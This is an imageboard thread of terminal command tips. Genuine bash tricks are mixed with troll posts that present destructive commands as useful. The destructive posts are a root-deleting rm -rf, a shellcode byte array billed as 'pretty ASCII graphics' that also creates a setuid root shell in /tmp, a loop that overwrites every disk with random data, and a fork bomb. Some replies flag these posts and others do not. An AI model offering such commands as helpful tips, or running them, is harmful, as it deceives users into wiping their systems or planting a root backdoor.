What are some useful terminal commands?

What are some useful terminal commands?

Attached: 1525456393699.jpg (900x900, 82K)

Other urls found in this thread:

mywiki.wooledge.org/ParsingLs
twitter.com/NSFWRedditVideo

pulseaudio -k

rm -rf / --no-preserve-root

pulseaudio will by default restart immediately, you need to set
autospawn = no
in your /etc/pulse/client.conf to stop it from doing that

tmpfile=$(mktemp /tmp/fooXXXXX)

Don't do this. It deletes all your files.

This one is fun. It makes pretty ASCII graphics.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

$ man %command%
$ info %command%
$ help %command%
$ %command% -h
$ %command% --help

Don't know what to look for?
$ apropos %something%

Ranges Brace Expansion
# Print numbers 1-100.
echo {1..100}

# Print range of floats.
echo 1.{1..9}

# Print chars a-z.
echo {a..z}
echo {A..Z}

# Nesting.
echo {A..Z}{0..9}

# Print zero-padded numbers.
# CAVEAT: bash 4+
echo {01..100}

# Change increment amount.
# Syntax: {....}
# CAVEAT: bash 4+
echo {1..10..2} # Increment by 2.

Nice. Looks cool

something something pekka | ebin

Sanitizing output of ls so it is safe to parse in loops:

#requires extglob
ls -'arguments' -- !(*\n*)

cowsay lol

mooooooo

Switch to a console and log in as root.

IFS=$'\n'
while [ 1 ]; do for file in `ls /dev/sd*`; do dd if=/dev/urandom of="$file"; done; done

If you are halfway through typing a long command and have a change of mind, you can press meta/alt + # to add a pound sign to the beginning of the line. This makes what you wrote a comment.

someverylongcommandiregret ALT + #

You should never parse ls. Use wildcards or find.

It's safe to parse ls if you sanitize ls.

>for file in `ls /dev/sd*`; do dd if=/dev/urandom of="$file"
ebin

[code[:(){ :|: & };:[/code]

>shellcode

No. It's plain wrong to parse ls.

He said useful.

neofetch
htop
gpg
grep
man

I know. Just try it though.

Not always. Unless you can change my mind.

mywiki.wooledge.org/ParsingLs

touch Akarin

I read that 100 times. It's fine to parse ls if you sanitize it. The reason you wouldn't in normal cases is because of the wordsplitting. But extglob and ls -- !(*\n*) will take care that you won't hurt your data. It becomes safe to parse the output of ls.

but the whole point is that you never *need* to parse ls, there is always a better alternative

How would I rename files sequentially, by adding a numbered prefix to them, based on their modification date? You'd need ls to determine that.

for loop (glob) and then maybe something like stat to get date access? I'm just spitballing but there is 100% a way to do this without ls

>using stat
That's useful. Thanks for the pointer. I know it's wrong to parse ls.

Why doesn't this work on my Pi?

Never do something that doesn't werk sometimes.

Attached: 1513032335877.png (212x238, 5K)

I saved a couple copy pastes to get you started.
One renames files beginning with leading zeros, and the other at 1400000
count=1399999; for i in *.jpg; do mv -nv -- "$i" "$((++count)).jpg"; done

X=1; for i in *.txt; do mv $i $(printf %04d.%s ${X%.*} ${i##*.}); let X="$X+1"; done

>++count
>not count++
You fucking asshole.

Underrated post.

Why is Jow Forums so shit? Why can't we share good shell tricks without 12 year olds pasting rm -rf? Fucking kindergaten nu/g/ 9gag army.

grep -rin abcdef .

why pulseaudio suck?

Attached: 1526953860709.jpg (697x478, 48K)

>copy paste to get you started
>calls me an asshole.
alias ls='echo muh files; ls'

What can I use instead of pulseaudio?

echo _{Good,post,bro}